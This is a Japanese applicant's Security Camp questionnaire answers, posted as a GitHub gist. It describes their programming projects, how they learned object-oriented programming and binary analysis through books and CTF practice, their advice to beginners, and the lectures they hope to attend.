Skip to content

Instantly share code, notes, and snippets.

@hal0taso
Last active August 19, 2017 06:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hal0taso/08f46400bd26271eb79a3a0d8d9fb01b to your computer and use it in GitHub Desktop.
Save hal0taso/08f46400bd26271eb79a3a0d8d9fb01b to your computer and use it in GitHub Desktop.

1_1

共-1(1) あなたが今まで作ってきたものにはどのようなものがありますか?いくつでもいいので、ありったけ自慢してください。

1. Unityを使ったペーパーマリオ風の3Dゲーム

  • Life is Tech!という教育ベンチャーの大学生メンターとして研修を受けた時に作成した。
  • プログラミングを学び始めてから2週間で作成した
  • 制作期間の前に2週間ほどプログラミングの基礎(と言っても、演算子や変数、ライブラリの使い方まで。クラスやメソッドについて明確な説明がされておらず、これにより後で苦しむことになる)についての講習があった

仕様

  • プレイ画面を写すカメラからはプレイヤーとステージは2次元の横スクロールゲームのように見える
  • カメラを90度回転させてプレイヤーの左右どちらかに回り込ませることで、ステージの見え方が変わり見えなかった道が見えるようになる
  • 入力は横移動とジャンプとカメラ移動のみでゴールへキャラクターを導く。

工夫した点

  • Unityは3Dゲームを気軽に作れる、というのがウリなのでで、2Dと3Dのよさをどっちも取りたいと思った
  • 一つの視点ではゴールまで辿り着けないので、カメラの視点を回転させてゲームを進めていかないといけない、という内容

苦労した点、感想

  • 期間が短かったことと、同時に他の作業も並行していたため、空いている時間をフルに使って調べたり、手を動かして実装し、初めて見るエラーに悪戦苦闘する、というのを繰り返した
  • 今思い出すとやっていたことといえばキャラクターの接地判定やジャンプの回数制限、移動の処理やアニメーションなど、よくゲーム制作で使われるものを組み合わせたものだったものの、その時は定石のようなノウハウもなく、実装したい処理について調べて検証、を繰り返した
  • 提出日のギリギリまで作業をして、その翌日の発表の時まで追加でデバッグをしていていたのはいい思い出
  • この作成期間を通して、調べて実装して確かめて、というルーチンをひたすら回していて、その後手を動かしていく習慣がついた。この習慣は自分の学び方に大きく影響を与えたように思う

2. Twitterのボットを作った話

  • Twitterをよく利用していたので、botでも作ってみようと思い立った
  • Pythonを勉強して3か月くらいの時に作った
  • 自宅にラズベリーパイがあり、それをサーバーとして使用した

仕様

  • Twitterで特定の発言に対してリプライで反応する

工夫した点

  • リプライに文字だけではなく画像つきツイートをできるようにした。

苦労した点、感想

  • その時は正規表現というものを知らず、頑張って対象の文字列を打ち込んでいた
  • ライブラリのドキュメントを見ながら実装していくというのは初めてで知らない単語なども多かったがなんとか調べて理解するようにした自分で考えたことを実装して、少しずつ形になってく、というのが楽しかった。
  • 自主的に作成した初めてのプロダクトだったため、小さいものではあったが、達成感があった。

3. 大学の課題でJavaでコンソールゲームを作成した話

  • 大学2年次の講義の最終課題として作成した
  • ポケモンを模したゲーム
  • 一部必須の仕様が課題として与えられていて、その他は任意で仕様を追加して良かった

仕様(課題として必須)

  • ステージのサイズをn*mのような形で最初に指定できる
  • プレイヤーは1ターンに上下左右に移動できる。
  • ステージとプレイヤーの位置、捕まえた敵の数が毎ターン表示される
  • 指定のターン数が経過するとゲーム終了
  • ステージには草むらがあり、敵がランダムな確率で出現する。それ以外では敵は出てこない。
  • 敵が出現すると、戦う、逃げる、捕まえるを選択する

工夫した点、自分で追加した使用

  • 捕まえられる敵の数は6体までで、それを超えると何を手放すか選択する
  • 捕まえた敵ごとにスコアがあり、ゲームの最後にスコアが表示される
  • プレイヤーはアイテムを持っており、それを使うことで様々な効果を得ることができる
  • アイテムは敵を倒すとその敵に応じたアイテムを得ることができ、アイテムごとに壊れる確率が存在する
  • 敵の発生する確率を自由に変更できるようにした
  • ステージの草むらの位置をランダムに表示させた
  • アイテムの回数制限については、モンスターハンターというゲームに出てくる虫あみやピッケルといったアイテムにインスパイアされて作った
  • それぞれのアイテムは使用するごとに壊れる確率が高くなる

苦労した点、感想

  • 500行規模のプログラムだったが、初めてつくる規模のプログラムだったため、クラスやメソッドの設計を考えるのが難しかった
  • 規模が大きくなってきたので、コメントで変数やメソッド、クラスの説明などを丁寧に書いた
  • この講義で使用したJavaの教科書を読んで、継承やポリモーフィズムについて学んだ

4. 大学の課題で囚人のジレンマのシュミレーションを行った

  • 大学の最終課題を友人の分まで請け負ってしまったため
  • プログラムを書く練習になるし、プログラムを書いたり考えたりするのは楽しかったので問題なかった

仕様

  • 囚人2人は最初はランダムに協力、裏切りをおこなう
  • 2回目以降の選択では、それぞれの関数値に応じて選択を行った
  • それぞれの選択と関数値を毎ターン表示するようにした
  • 関数は毎ターン相手の選択に応じて(囚人は課せられた刑期によって相手の選択を知ることができるため)係数の値が変化する

工夫した点

  • 最初、テキストで与えられた係数値で実験したところ、どれだけやっても学習していなかった。
  • 囚人のジレンマについて調べてみると、それに似たことをやっている論文があり、その式の係数を参考にしたところうまく学習した
  • 質問したところ、与えられた式の係数値が誤植だったことがわかった
  • より早く学習できるか、というのを係数を変えて実験してみた

苦労した点、感想

  • 関数を与えてそれを変化させていくことで学習していくことに興味を持ついい機会になった
  • データサイエンスや機械学習も結局は数式モデル次第ということを実感した。
  • 3.4のプログラム作成を通して、デザインパターンについて勉強するキッカケになった

5. Twitter botを作ったので、Slack botも作成してみた

  • バイト先で大学生にプログラミングを教えていた時にslackで定期的に進捗を確認する必要があったが、日によって忘れてしまったり遅い時間になったりすることがあり、それならプログラムで自動化しようと思い立った

工夫した点

  • Unityの開発をおこなうグループだったので、アイコンをUnityちゃん(Unityの公式キャラクター)にして、口調もUnityちゃんっぽくした
  • 毎日夜9時になると「進捗!進捗!」とつぶやく
  • 特定の発言に対して、応援メッセージを発してくれたり、絵文字でリアクションを行ってくれるようにした

苦労した点、感想

  • bot作りは楽しい。(エンターテイメント性が高かったり、手軽に作成できるのがいいと思います)
  • slack botが流行りだした頃で、欲しい情報がうまく得られなかった
  • githubで管理していたのだが、APIトークンをスクリプトに保存したままプッシュしたらgithubに怒られた。その時はgitignoreで設定しているスクリプトを除外してしまったが、今考えると設定ファイルとか環境変数など使うべきだった

6. 大学の実験でExcelに入力したデータを一括でグラフ化するツール

  • 電気回路の実験で、様々な論理回路に対して入力電圧と出力電圧を計測し、データをエクセルにまとめていた
  • エクセルだと毎回グラフを作成して細かく調整して、ということを行わねばいけないのが面倒臭く、これを自動化できないのかと思い実装した
  • 大学の研究や実験ではmatlabやgnuplotを使ってグラフ化することが多いと聞いたのでやってみた

工夫した点

  • グラフはtexでレポートを作成する際に使用しやすいよう、png形式の画像で画像を入れるディレクトリに書き出した
  • グラフタイトルや単位、グラフのメモリの表示を行った
  • 見栄えが悪かったので、gnuplotのページを見ながらグラフの表示の仕方を調べ、そのデータにつけたフラグごとに色をつけ、同じ実験ごとでまとめて一つのグラフにした
  • Pythonのゴルフをかじっていた時期だったので、より短いソースコードになるようにしてみた

苦労した点、感想

  • gnuplotのドキュメントを読むのに苦労した(英語でかつ長かったため、読み解くのに時間がかかった)
  • excelのデータを取得するのにライブラリを用いたが、それをgnuplotに渡すところでどのようにデータを整形したらいいかなど試行錯誤した

7. 簡単な自作デバッガ

  • オライリーのリバースエンジニアリング -Pythonによるバイナリ解析手法- という本を読んで作った
  • デバッガの仕組みや低レイヤーのことを知りたいと思い作ってみることにした

仕様

  • ソフトウェアブレークポイント、ハードウェアブレークポイント、メモリブレークポイントを設定できる
  • ブレークポイント設定地点での各レジスタを表示できる

工夫した点

  • pyrhon2.6を使用したが、print文の書き方が推奨されている書き方じゃなかったので書き換えた
  • 最初は本の通りやっていたのだが、デバッグするのに例外をハンドリングしたいと思って例外処理を書いた

苦労した点、感想

  • 簡単なタイピングミスなどで数時間悩むこともあった
  • 本では例外の処理を省いていて、例外処理を書くまではどこでエラーが出ているか判明しづらかった
  • 実際に自分で簡単でもデバッガをつくってみることで、他のデバッガがどういう実装をしているのか興味を持つきっかけになった
  • デバッガの内部ではプログラムにどういうことをしているのか、ということが知れたのでとても勉強になった
  • レジスタの役割などはこの時はまだ理解できておらず、本当の初学者には難しいと感じた

8. 大学の実験で使用した光学装置を動かすプログラム

  • 大学の実験でモーターとレーザー、レンズ、光センサを用いてバーコードリーダーを実装し、その分解能を調べた。

仕様

  • 電気回路を流れる電圧値を測定したり、光学系を制御するプログラム
  • ループを回してモータに対して周期的に値を与えることでモータを回転させる
  • 光学センサの出力を1バイトの値で取得する

工夫した点

  • 最初にモーターの周期を入力できるようにすることで、モーターの回転速度を変更でき、光センサの入力データを書き出すファイルも周期で判別できるようにした
  • キーボードの入力によって回転方向を切り替えられるが、それに追加してデバッグ用に処理を中断できるようにした

苦労した点、感想

  • 実験時間中にプログラムを書いてテストして、と進んだのだが、最初にmainの中にすべての処理を書いてしまったせいで使いづらいプログラムになってしまった
  • プログラムを書く前に全体像をイメージしておくことが重要だと感じた

1_2

共-1(2). それをどのように作りましたか?ソフトウェアの場合には、どんな言語で作ったのか、どんなライブラリを使ったのかなども教えてください。追加したい機能や改善の案があれば、それも教えてください。


1. Unityを使ったペーパーマリオ風の3Dゲーム

どう作成したか、言語、ライブラリ

このゲームはUnityというゲームエンジンを用いて言語はC#を使用した。また、プレイヤーのキャラクターとしてUnityちゃんという公式キャラクターの3Dモデルを使用した。物体の移動や物理演算などはUnityに組み込まれているので、その機能を使ってプレイヤーを動かしたり、ステージのギミックを作成した。 カメラを90度スムーズに回転させるのにはiTweenというアセット(ライブラリ)を用いた。

追加機能、改善案

まず、作成時は理解できていなかったことが多かったので、移動や接地判定などを描き直したい。また、iTweenは本来アニメーションをスムーズに見せるライブラリで、実際に繰り返して動かす際には若干の位置のラグが生じるので、それが発生しないように改善したい。また、全体的にデザインが3Dな感じがするので、テクスチャを変えてより2D感のあるゲームにしたい。

2. Twitterのボットを作った話

どう作成したか、言語、ライブラリ

使用した言語はPython, ライブラリはTweepyというライブラリを使用した。tweepyを使ったブログ記事を参考にした。

追加機能、改善案

この応募課題を書きながらソースコードを発掘していたらtweepyはREST APIしか対応していなく、しかも自分のコードは実行した時の直近20ツイートしか対象にできなかったので、Streaming APIトークンから流れてくるツイートを取得して、正規表現を使って文字列の有無を判断してリプライを飛ばしてくれるbotにしたい。

3. 大学の課題でJavaでコンソールゲームを作成した話

どう作成したか、言語、ライブラリ

言語はJavaで、ライブラリは標準のライブラリのみを使用した。仕様が決まっていたので、クラスの構造を考えて教科書を見ながら作成していった。

追加機能、改善案

内部のロジックはすでにあるので、GUIのアプリケーションとして発展させたい。

4. 大学の課題で囚人のジレンマのシュミレーションを行った

どう作成したか、言語、ライブラリ

言語はJava、ライブラリは標準のライブラリのみ使用した。こちらも仕様や適用する関数が決まっていたので、クラスの構造を考えてコードを書くだけだった。

追加機能、改善案

学習する関数が決まっていたので、それを変えたりアルゴリズムを変更させてみたい。具体的には、遺伝アルゴリズムなどを適用することで、どれくらいで学習するのか、また、結果が強調に収束するまでにどれくらいステップ数がかかるのか、従来のものとどちらが効率的か比較してみたい。

5. Twitter botを作ったので、Slack botも作成してみた

どう作成したか、言語、ライブラリ

Slack botに関してはすでに記事などが幾つか出ていて、最初はそれを参考に、後はSlackのドキュメントやライブラリのソースコードを参考にして作成した。言語はPythonでライブラリはslackbotというライブラリを使用した。

また、定期的に実行するのにはcronで日時指定して起動した。

追加機能、改善案

こちらも正規表現を使って文字列を指定したいのと、他のwebアプリとの連携ができればいいと思う。例えば、課題などの提出を管理しないといけないので、googleスプレッドシートを使うなどしたい。 作成時はchannel宛のメンションが飛ばせなかったので、それを改善してメンションを飛ばせるようにしたい。

6. 大学の実験でExcelに入力したデータを一括でグラフ化するツール

どう作成したか、言語、ライブラリ

言語はPythonを使った。ライブラリは、Excelの操作にはxlsxを、グラフを描画するのにgnuplotを使用した。xlsxはExcelからデータを取ってくるだけなので何も問題はなかったが、gnuplotはより見やすい、かつ利用しやすいグラフを描画するのに長いドキュメントを調べて試行錯誤した。

追加機能、改善案

そもそもデータをCSV形式で読めば標準ライブラリを使用できるので、ドキュメントも揃っていてより実装しやすくなるのではと思う。追加機能としてあげるなら、CUIのツールなので、オプションを指定することでグラフの描画の仕方をより自由に選択できるようにするということがあげられる。

7. 簡単な自作デバッガ

どう作成したか、言語、ライブラリ

言語はPythonで、ライブラリは標準ライブラリのみを使用した。標準ライブラリのctypesはwindows上ではwindllオブジェクトをエクスポートでき、これでWindows APIにアクセスすることができる。windllを使ってwindows上でプロセスを生成したり、デバッガをプロセスにアタッチするなどの処理を行った。

追加機能、改善案

ollydbgやgdb、またgdb-pedaといった拡張を使う中で、プログラムの実行中における様々なリソース(どの関数をインポートしているか、参照されている文字列など)や、スタックにどんなデータが格納されているのか、パッカーの判別について既存の実装を調べて実装したい。

8. 大学の実験で使用した光学装置を動かすプログラム

どう作成したか、言語、ライブラリ

言語はC言語で、ライブラリはUSB経由でデバイスの入力と出力をハンドルする外部のライブラリを使用した(どのライブラリを使用したか、ソースコードが手元にないため、確認はできなかった。) 実験の講義時間中に作成し、実装して細かくテストして入出力が正しくできているのか、というのを確認しながら作成した。

追加機能、改善案

1次元のバーコード情報しか読み取れなかったので、2次元の情報を読み取れるようにしたい。また、main関数の中にすべての処理を書いていたので、機能単位でのモジュール化ができず、小さな仕様変更で大きく書き換える必要があったので、細かい処理ごとに関数に分けてそれを追加したり、起動時にオプションを引数として入れてやるなどして機能のオンオフを切り替えたい。


1_3

共-1(3). 開発記のブログ、スライドなどの資料があれば、それも教えてください。コンテストなどに出品したことがあれば、それも教えてください。

開発記などは特にないが、デバッガを作成した時にブログを始めたので、そこで学んだことの理解を定着させるためにブログを書いた。

hal0taso.hateblo.jp/



1_4

共-1(4). Twitterアカウント、Github、ブログをお持ちでしたら、アカウント名、URL等を記載してください。


Twitter: @__ukun

GitHub: hal0taso

はてなブログ: hal0taso.hateblo.jp/



2_1

共-2(1). あなたが経験した中で印象に残っている技術的な壁はなんでしょうか? (例えば、C言語プログラムを複数ファイルに分割する方法など)


プログラミングを初めて勉強した時(Life is Tech!の研修で初めてプログラムを書いて〜1年ほど)

1つ目の壁は、最初にプログラミングを始めた時に、クラスやメソッドについて理解が難しかったことと、エラーが出た時にどうやってそのデバッグをすればいいのか、について躓いたことがあります。プログラミングというのはものごとを処理する手順をイメージしてコードを書く必要があり、その作業が最初の頃はとても難しかったです。具体的に言えば、Unityでゲームを作成した時は、そもそもプログラムをどう書くのか、もっと具体的にいうと、変数の宣言とは何か、クラスとは何か、メソッドとは何か、何のためにクラスやメソッドを使うのか、インスタンスとは何か、クラスとインスタンスは何が違うのかということです。これは最初に扱ったのがオブジェクト指向の言語であり、またUnityのライブラリを用いた開発だったためだと思います。なぜかというと、オブジェクト指向の言語は、プログラムをデータとその振る舞いが結びつけられたオブジェクトとして扱います。これによってデータはカプセル化されて隠蔽され、クラスは継承され、そしてポリモフィズムによってオブジェクトはさらに多様なものに見え、結果としてプログラムは複雑なブラックボックスとなります。話は変わりますが、僕はプログラムに限らず現実のあらゆる事象がなぜ起こるのか、どのようにして動いているのかということに強い興味があり、それがわかる方が好きです。逆に、そうでないものに関してはその内部について知りたいと思う傾向があります。言い換えると、抽象的なものより具体的なものの方が好きであると言えます。オブジェクト指向という考え方はとても抽象的なものだと思います。開発する側は内部の動作を共通化することで、より大きく一般的なプロダクトを作成することができます。これによって、例えばライブラリをうまく使うことで初学者でも高度な処理を行うことができます。しかし、これは基礎的なことを理解している、または、詳細を知らなくても先に進める、進もうとする人には向いているのですが、僕にはとても大きな壁でした。これはUnityにも言えて、Unityで開発をしていると、実際のゲームの動作(具体的)なことに対して、プログラムは抽象的というかオブジェクト指向で、クラスが何重にも継承されたライブラリを使いこなさなければいけません。慣れてしまえばスタンダードな手順が身につくので難しくはないのですが、初めて自分でゲームの制作をした時にはクラスやコンストラクタの理解も乏しく、ましてやクラスの継承についてははほとんど理解できていませんでした。このことについてまとめると、オブジェクト指向でのプログラミングを理解するのに大きな壁があった、と言えます。

CTFをやってみたが、簡単なバッファオーバーフローの問題が解けなかった。プログラムの仕組み、コンピュータの仕組みが理解できなかった

2つ目の壁は、初めてCTFで簡単なバッファオーバーフローの問題を解いた時のことです。この時挑戦した問題は、海外の常設CTFのようなサイトで、とても簡単なレベルの問題でした。C言語のソースコードが与えられていて、バッファオーバーフローによってリターンアドレスを目的の値に書き換える、という問題です。当時は、アセンブリについても全く知識がなく、32bitと64bitの違いもわからず、スタックフレームがどのように構築されているのか、などについて全くと言っていいほど知識がありませんでした。それまでweb系の簡単な常設CTFの問題を解いていたので、その流れで挑戦してみたのですが、コンピュータの基礎的な知識も乏しく、バッファをただ溢れさせればいいと思っていました。デバッガもうまく使えない上、objdumpで出力を見ても何をやっているのかほとんどわからない、といった状況でした。その時はとりあえずバッファオーバーフローが起こるくらいの大きな入力をバッファに与え、何でうまくいかないんだろう、と言いながら1文字ずつ文字数を変えてようやくフラグが取れて喜ぶ、といった具合でした。これをまとめると、実際にコンピュータ上でプログラムがどう動いているのかわからなかった、アセンブリやC言語のプログラムがどう動いているのか理解できていなかった、というのが壁だったと思います。


2_2

共-2(2).また、その壁を乗り越えるためにとった解決法を具体的に教えてください。 (例えば、知人に勧められた「○○」という書籍を読んだなど)


オブジェクト指向プログラミングについて

まず、Unityでのゲーム開発でオブジェクト指向プログラミングがわからずにつまづいたことについて私のとった解決法を述べます。ゲーム制作の際にとった解決法は3つあって、1つ目はとにかくたくさん調べてみる、ということでした。いろいろな情報源に乗っていることを吸収し、2つ目に自分の環境で実践してみて、まずは自分の意図した通りに動くようにしようとしました。3つ目に、それでもわからなかった場合は、自分の意図していることや調べた情報をもとに、その当時のメンターの人に質問しました。

まず1つ目のインターネットでできるだけたくさんのことを調べることに関してはメリットがあって、それはインターネットにはたくさんの情報があり、その記事を書く人によって伝え方が違ってくるため、いろいろな形で情報を吸収し比較することができることです。中には間違っているかもしれない情報を含むこともありますが、それは複数の情報ソースに書いてあることを比較し、さらに自分で検証してみることによってその情報の正確さを確かめることができます。この方法は今でも実践しており、自分の知らないことに対してはできるだけたくさんの情報に触れることを意識しています。現在ではそれに加えて、情報の正確さを高めるためにリファレンスや実際のコードを参照することもありますが、その当時はリファレンスに書いてあることすら理解が難しかったので、まずは情報にたくさん触れることが大切だと思います。 2つ目の自分で試してみる、ということは、その時にどんなエラーが起こりうるか、何に気をつけないといけないか、実際にどのように動作するのか、ということを確認し、経験として身につけることができます。 3つ目の自分の質問できる人に聞く、というのは、自分より知識の多い人の方がわかりやすく、しかも対話的に情報を得られるというのが大きなメリットだと思います。質問し、情報を咀嚼し、その上でわからないことを質問する、というのは本やインターネットでは即座に行うことが難しく、それが目の前にいる人であればすぐにできます。

私の場合は、Unityのゲーム開発が何とか終わった後もあまり理解できている気がしませんでした。そこで、違う言語を触ってみることにしました。その時に始めたのはPythonで、そのあとすぐに情報基礎の講義でJavaを触りました。まずPythonでは基本構文と標準ライブラリにあるクラス、メソッドを自分で使ってみました。標準ライブラリの使い方は競技プログラミングの問題を解いて学習しました。また自分でクラスやメソッドを作ってみることで、実際にUnityがどう作られているのかについて想像することができ、また、Unityで困った時にリファレンスを読んで解決できるようになりました。大学の講義でJavaを学んだ時には基本文法や演算子から、クラス、関数の使い方、アクセス修飾子や変数のスコープについて学びました。 今思えば、ここで大きな学びとして得たことは、例えばUnityの時は主にライブラリを操作して目的の処理を実行することが主だったため、ライブラリのクラスや関数が何かを覚えていたため、それぞれの情報が知識として点在していたのですが、Pythonで競技プログラミングのwriteupを書いたり、本を読んでプログラムを書いたり、Javaで最終課題のプログラムを作成することはほぼ一から自分で設計したり、処理を行う関数やクラスを作成する必要があるため、プログラムを書くうちにより一般的で抽象的なこと--例えば、どこで変数の宣言から関数やクラスの定義、初期化の方法、全体としてどうクラスや関数に分けるのか、クラスの継承、アクセス修飾子はどうすべきか、その際に気をつけなければいけないことは何か、取るべきデータ型についてなど--についての理解が深まり、それまで点在していた知識が関連付けされることで知識が相互に線で繋がった感覚になったことです。一度その感覚を得ることができれば他の言語に関しても同様に思考できるようになり、今どんな処理をしたくて何のクラスを扱っていて、それは何のクラスを継承していてどんな関数が使えるのか、ということについてイメージがつくようになりました。

バイナリ解析をはじめとしたプログラムの実行される仕組み、コンピュータが動作する仕組みについて

まず、アセンブリが読めない、コンピュータがプログラムを実行している時にどのような動作をしているか理解できていない、という問題があったので、ネットでバイナリ解析についての良書を調べ、リバースエンジニアリング系の記事や本を読みました。最初に読んだのは、策謀本と呼ばれている本です。この本ではプログラムはどのように実行されるのか、スタックフレームとは、デバッガの使い方について学び、実際に小さなプログラムを書いてデバッグして、という風に手を動かしたり、その都度気になったことをメモしたり書きこんで後で調べることで、C言語のプログラムがどのように実行されるのかについて理解を深めました。次に読んだのはオライリーのリバースエンジニアリングという本で、gray hat pythonという本を訳したものなのですが、その本の中でPythonを使ってデバッガをつくるという節がありました。その本を読みながらデバッガやレジスタの役割について学び、実際にデバッガを作ってみることでデバッガの仕組みについて少し知ることができました。また、CTFの入門書であるハリネズミ本を読んでrevresing, binaryの部分を読んで書いてある内容を一通り実践したり、OSについても知りたいと思い、情報系の学部で使用している教科書やパタヘネ本と呼ばれるコンピュータの構成について説明している本も読みました。そのあとは、リバースエンジニアリング系のオススメの書籍としてネットの記事で紹介されていたものをとにかく読みました。アセンブリを読むときにとても参考になったのは、デバッガによるx86解析入門や、リバースエンジニアリングバイブルでした。本を読む際には、自分が疑問に思ったことや考えたこと、調べてわかったことを都度本にコメントとして書いたり、付箋を貼って後で読んだ時に何について書いてあるか、そのポイントはどこなのかを見てわかるようにしました。 本を読む傍ら、CTFの簡単な問題を解いたり、そのwriteupを読んで実践してみたり、勉強会に参加する、ということもしていました。実際に手を動かすことで、本で学んだ知識が経験として定着できたと思います。katagaitai勉強会というCTFの勉強会のスライドを読みながら実際にプログラムを解析して、わからないことは調べたり友人や先輩に質問するなどして最後まで時きり、自分でwriteupをまとめました。自分でまとめる際には、誰かに読んでもらうことを想定してできるだけ自分の言葉で、かつ正確であることを意識して書きました。そうすると今度は自分の理解が不十分なことについて自覚できるので、その都度調べてわかったことなどを書いていきました。


2_3

共-2(3).その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをしますか?


最初にそれぞれの壁について、具体的な内容をあげてアドバイスを書き、最後に2つの壁についての共通のアドバイスをします。

オブジェクト指向プログラミングの学習

まず、ここでのアドバイスする対象をプログラミングを授業で学んだことがある、もしくは初めて学ぶ人と設定します。到達する目標を、オブジェクト指向プログラミングについて理解でき、コードを読んだり目的に応じて使うことができる、というところを目標とします。設定した目標と対象の理由は、私もまだオブジェクト指向プログラミングについて学んでいる最中であり、また、私は大学生にプログラミングを教える機会もあり、その際に大学の講義でやったことがある人や全く触ったことがない、という人がこの壁に苦しんでいる印象を受けたためです。 まず、最初にとても抽象的なアドバイスをすると、プログラミングの知識を体得するには自分で考え、悩み、手を動かして実行することが大切だと思います。 お勧めの手法は2つあります。1つ目はオブジェクト指向なプログラムを実際に自分で作ってみることです。これは、必ずしも自分で全て考えて書かなければいけないということではなく、本やインターネットにあるものでもいいので、実際に自分の手を動かして、実行して、上手くいかないところはデバッグをして、という一連の経験をすることが大切だと思います。本やインターネットのプログラムを写すだけではなく、その一部を変えてみる、というのもいいと思います。例えば、クラスの継承について実際に手を動かして学ぼうとすると、基底クラスに関数を一つ追加してみて、継承先のクラスで呼び出してみるということでも手を動かした経験が知識と結びつく事でより強い情報となって頭に残ります。 2つ目にお勧めするのは、ある一つのオブジェクト指向プログラミングをサポートするプログラミング言語について本を一冊買って読んでみることです。例えば、大学の講義で使用するような本(大学では、JavaかC++を学ぶ学校が多いと聞きます。実際に僕の学部では情報系ではないですが、Javaの本を教科書として使用していました。)を一冊買ってみるといいと思います。これは、本は体系的かつある程度網羅的に書いてあるため、一通りのことについて知ることができます。また、自分が知りたいと思ったことについての辞書代わりになるため、後から参照する際にも調べる時間が短時間ですみます。もしその本で理解できないものがあれば、インターネットで調べてみるなり、他の本を読むなりして情報を比較してみることです。

実際にコンピュータ上でプログラムがどう動いているのかわからない、アセンブリやC言語のプログラムがどう動いているのか理解できていない場合

こちらもまだまだ私も学習中だが、これまでにとってきた方法の中で効果が高かったと思ったことをまとめてアドバイスとします。これについてのアドバイスとしては本を読む、CTF(Capture The Flag)のpwnableというジャンルの問題を解いてみる、という2つをお勧めします。最初に、基礎知識としてC言語の基礎が不十分な場合はC言語の学習から始めた方がいいと思います。これは自分がそうだったのですが、C言語やそれを模した疑似コードは多くの本で利用されているからです。ここでも、本を一冊買っておくことをお勧めします。理由は前述の通り、本は体系的かつ一定レベルで内容の網羅性があり、辞書的な利用ができるためです。 次に、1つ目の本を読む、ということに関して具体的にアドバイスをします。プログラムがどう動いているのか、について学ぶためのお勧めする書籍としては、Hacking:美しき策謀という本(以下、策謀本)です。この本では、第1章から第2章まででC言語の基礎について書かれているのですが、その中でgdbを使ってコンパイルされたプログラムをデバッガ上で実際に動かしながら、アセンブリの簡単な説明やポインタ、データ型は結局実行される時にどのようなデータとなるのかと言うのを実際に確認しながら学習することができます。また、セキュリティコンテストチャレンジブックという本(以下、ハリネズミ本)はCTFの入門書があるのですが、この本のいいところは、最初の章のバイナリ解析の部分で、スタックフレームが構築される時の各レジスタの値とスタックの状態変化がステップごとに丁寧に解説されているため、初学者にはとてもとっつきやすいことです。次に、x86アセンブリや実行コードの構造についての入門書かつ初学者向けの辞書として、x86プログラム解析入門をオススメします。この本の第2章ではデバッガを作るための基礎知識と称して、アセンブリの基礎的な内容にも触れています。また、プログラムの動的解析について印象的な言葉は、「レジスタは単なる変数である」という言葉です。この言葉はリバースエンジニアリングバイブルという本から引用したのですが、この本の第1章でもリバースエンジニアリングのためのアセンブラ、という題目で、なるべく初学者にわかりやすいように解説してくれています。もしここでOSについて気になってきたようであれば、大学などで使用しているオペレーティングシステムの基礎の教科書を読んでおくと、他の本を読んだ時に用語などでつまづくことが減ると思います。ここで幾つかの本をあげましたが、いずれも1週間以内で読み切れる分量の本が多いことと、 次に、2つ目のCTFの問題を解いてみる、ということについて具体的に述べます。これは、先ほど本で仕入れた知識を実際に手を動かす機会として活用してほしいと思います。また、問題を解く中でプログラムの逆アセンブル結果を分析したり、デバッガを用いて動的に解析する中で、プログラムが実際にどう動いているのか、ということを経験として得ることができます。CTFの問題をとくのが難しいようであれば、前述の策謀本の3章やハリネズミ本の2章を実際にプログラムを書いて、デバッグして、動作を把握することをやってみることをオススメします。CTFの問題を解く上で勉強になるサイトとしては、ももいろテクノロジー(以下ももテク)というブログです。ここでは、様々な攻撃手法を実際に試してみたり、セキュリティ機構を回避するなど、CTFで応用できる手法が多く載っています。また、使われたソースコードや解析の内容、参考文献も丁寧に記載されているため、学習に最適です。解いた問題はその解法をwriteupとして公開することをオススメします。この理由は、writeupを書くときは外部の人に見られることを意識して書くため、よりわかりやすく書こうという意識が働くためです。そうすることで、それまで自分が使用してきたテクニック、知識を振り返ることができ、その理解が深まります。これは、後述する「人に教える」ということと共通します。

最後に、共通したアドバイスとして、人に教えたり説明する、ということを挙げます。人に説明したり、教えたりするとき、自分の中でまとまっているイメージを相手に伝わる形にしなければいけません。難解なものほど、この手法がよく効いてきます。そのことに詳しくない人に教えるとき、より具体的な例えや、実際のサンプルコード、内部の処理などについてできるだけ平易に、かつ伝わるように様々な表現の仕方をする必要があります。この作業の中で、自分が分かったつもりになっていたものが明らかになり、それを調べたり学習し直していくことで、理解を深めることができます。教える人が周りにいない場合は、開発系ならソースコードになるべく丁寧なコメントをつける、という学習方法でもいいと思います。このクラス、このメソッドは何をするのか、この変数は何の値が保存されるのか、などのコメントをつけることで同様の思考ができると思います。2つ目の壁のアドバイスでも書きましたが、ブログで外部に公開するという手段もいいと思います。これも外部に見てもらう、という意識のもの、よりわかりやすく自分の言葉で説明するということができるからです。

補足として、本を読むという勉強法をどちらについてもアドバイスしてきましたが、初学者のうちに大切なのは、わからないことはわからないと自覚しておく、わからなくても先に進んで全体の概要をつかむ、その後でわからなかったことを自分でまず仮説を立ててみて検証したり、調べてより多くの情報と比較してみる、ということが大切だと思います。

最初から全てがわかるということはないので、少しずつでもいいので理解する、考える、仮説、検証して間違っていることを消去していく、ということを毎日続けることでその壁を乗り越えることができるのだと思います。


3_1

共-3(1).あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可)そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?


どれも面白そうで選ぶのにとても迷うのですが、私が受けたいと思っている講義は以下の通りです。

  • D1 Linuxカーネルを理解して学ぶ 脆弱性入門
  • D2~3 カーネルエクスプロイトによるシステム権限奪取
  • B4 Embedded System Reverse Engineering 101
  • D5 The Anatomy of Malware
  • A6 ハードウェアセキュリティ最前線
  • B7 組込みリアルタイムOSとIoTシステム演習

D1 Linuxカーネルを理解して学ぶ 脆弱性入門

私はプログラムやコンピュータがどのように動いているか、Linuxの中身はどうなっているのか、プログラムの中身はどうなっているのかなど、リバースエンジニアリング系の話題について関心があり、大学3年時から1年弱ほど勉強してきました。その中でプログラムの解析やCTFのpwnというジャンルの問題を解くなど勉強していたのですが、その中でLinuxカーネルの内部の実装について勉強する機会があり、もっと内部の実装について勉強し、その脆弱性について学びたいという思いが強くあります。Linuxカーネル自体には前々から興味があって、プログラミングを学び始めて少しプログラムをかけるようになった時、もっと詳しくなりたいと思っていた時に、Linuxカーネルのソースコードを読むことでエンジニアとしてレベルアップできる、という記事を読み、自分も読んでみたいと思うようになりました。それがきっかけでOSの教科書を読んだり、Unix v6のカーネルソースリーディングの本を読んだり、自作OSについて興味を持つようになりました。また、後述のカーネルエクスプロイトを受講するにあたり、カーネルについて学び始めたばかりなので、ここでも学びたいと思っています。malloc動画で有名な小崎さんの講義を受けてみたいというのもあります。

D2~3 カーネルエクスプロイトによるシステム権限奪取

